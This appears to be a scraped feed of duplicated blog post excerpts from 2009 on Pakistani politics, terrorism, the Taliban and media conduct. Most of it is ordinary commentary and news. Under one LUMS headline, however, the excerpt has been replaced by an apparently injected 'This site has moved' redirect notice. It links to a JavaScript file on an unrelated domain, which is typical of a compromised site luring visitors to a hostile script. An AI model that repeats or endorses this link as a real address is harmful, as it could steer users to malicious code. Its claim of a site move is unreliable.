Code of conduct for Pakistani media. Don’t glorify terrorism.: By: Abdul Nishapuri The following code of conduct has been designed in view of certain segments of Pakistani media’s irresponsible behavior and projection of terrorists and militants as heroes in the eyes of fellow Pakistanis and the world. On

Code of conduct for Pakistani media: Don’t glorify terrorism: By: Abdul Nishapuri The following code of conduct is proposed in view of irresponsible behavior and projection of terrorists as heroes and propagation of hate speech and incitement to violence in certain segments of Pakistani media.  Many of us

LUMS cited in the Christian Science Monitor for all the wrong reasons: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected

LUMS cited in the Christian Science Monitor for all the wrong reasons: Top Pakistan university to ban kissing The Lahore University of Management Sciences promises to prohibit public displays of affection after a highly publicized peck on the cheek exposed deep fissures in Pakistani

Nawaz Sharif’s opportunistic politics and the Kerry-Lugar Bill: ایک سوال کے جواب میں نواز شریف نے تصدیق کی کہ وزیر اعلیٰ پنجاب میاں محمد شہباز شریف اور قومی اسمبلی میں قائد حزب اختلاف چوہدری نثار علی خان نے گزشتہ دنوں آرمی چیف جنرل اشفاق پرویز کیانی سے

Nawaz Sharif’s opportunistic politics and the Kerry-Lugar Bill: ایک سوال کے جواب میں نواز شریف نے تصدیق کی کہ وزیر اعلیٰ پنجاب میاں محمد شہباز شریف اور قومی اسمبلی میں قائد حزب اختلاف چوہدری نثار علی خان نے گزشتہ

Treat Talibanisation, not Taliban – Analyses by Irfan Hussain and Saleem Safi: Treating symptoms, not the disease By Irfan Husain Saturday, 17 Oct, 2009 (Dawn) So what has fuelled this deadly trend? Zia’s zeal to send the country back to the medieval era was certainly one factor. And financing many of

Treat Talibanisation, not Taliban – Analyses by Irfan Hussain and Saleem Safi: Treating symptoms, not the disease By Irfan Husain Saturday, 17 Oct, 2009 (Dawn) So what has fuelled this deadly trend? Zia’s zeal to send the country back to the medieval era was certainly one factor. And

Who are the Punjabi Taliban?: Muhammad Amir Khakwani On trail of Punjabi Taliban By Nasir Jamal Saturday, 17 Oct, 2009 LAHORE, Oct 16: A day after the triple-strike in Lahore, officials, counter-crime experts and academics in the province grappled with the question of how

Who are the Punjabi Taliban?: Articles by Nasir Jamal and Muhammad Aamir Khakwani: On trail of Punjabi Taliban By Nasir Jamal Saturday, 17 Oct, 2009 LAHORE, Oct 16: A day after the triple-strike in Lahore, officials, counter-crime experts and academics in the province grappled

What about the victims of terrorist attacks?: Dawn Editorial Saturday, 17 Oct, 2009 Suicide and fidayeen attacks are occurring with such numbing regularity that it is difficult to pause and reflect on the fate of the victims and their families because the next attack is only

What about the victims of terrorist attacks?: Dawn Editorial Saturday, 17 Oct, 2009 Suicide and fidayeen attacks are occurring with such numbing regularity that it is difficult to pause and reflect on the fate of the victims and their families because the next attack is only

Pakistan Begins Long-Awaited Offensive in South Waziristan: By VOA News17 October 2009 Pakistan’s military has begun a long-awaited ground offensive against the Taliban in South Waziristan. Earlier Saturday, ahead of the planned offensive, Pakistani authorities imposed a curfew in the region, an insurgent stronghold near the

Pakistan Begins Long-Awaited Offensive in South Waziristan: By VOA News17 October 2009 Pakistan’s military has begun a long-awaited ground offensive against the Taliban in South Waziristan. Earlier Saturday, ahead of the planned offensive, Pakistani authorities imposed a curfew in the region, an insurgent stronghold near the

Is there any evidence of an Islamic State in Islam?: Hamid Akhtar critiques the Khariji perspective on Islamic state:

Is there any evidence of an Islamic State in Islam?: Hamid Akhtar critiques the Khariji perspective on Islamic

Shaheed General Zia-ul-Haq: Tahir Sarwar Mir: From Shaheed Zia-ul-Haq to Azeezi Imran Khan – A parody of Haroon-ur-Rasheed’s column by Waqar Khan Daily Aaj Kal

Shaheed General Zia-ul-Haq: Tahir Sarwar Mir:

Democracy under threat? Analyses by Cyril Almeida and Farhnaz Ispahani: Democracy under threat? By Cyril Almeida Friday, 16 Oct, 2009 President Asif Ali Zardari is the curator of the changeover to a democratic state and on his shoulders rests a very heavy burden. – Photo by Reuters Is Project

Democracy under threat? Analyses by Cyril Almeida and Farhnaz Ispahani: Democracy under threat? By Cyril Almeida Friday, 16 Oct, 2009 President Asif Ali Zardari is the curator of the changeover to a democratic state and on his shoulders rests a very heavy burden. – Photo by Reuters Is Project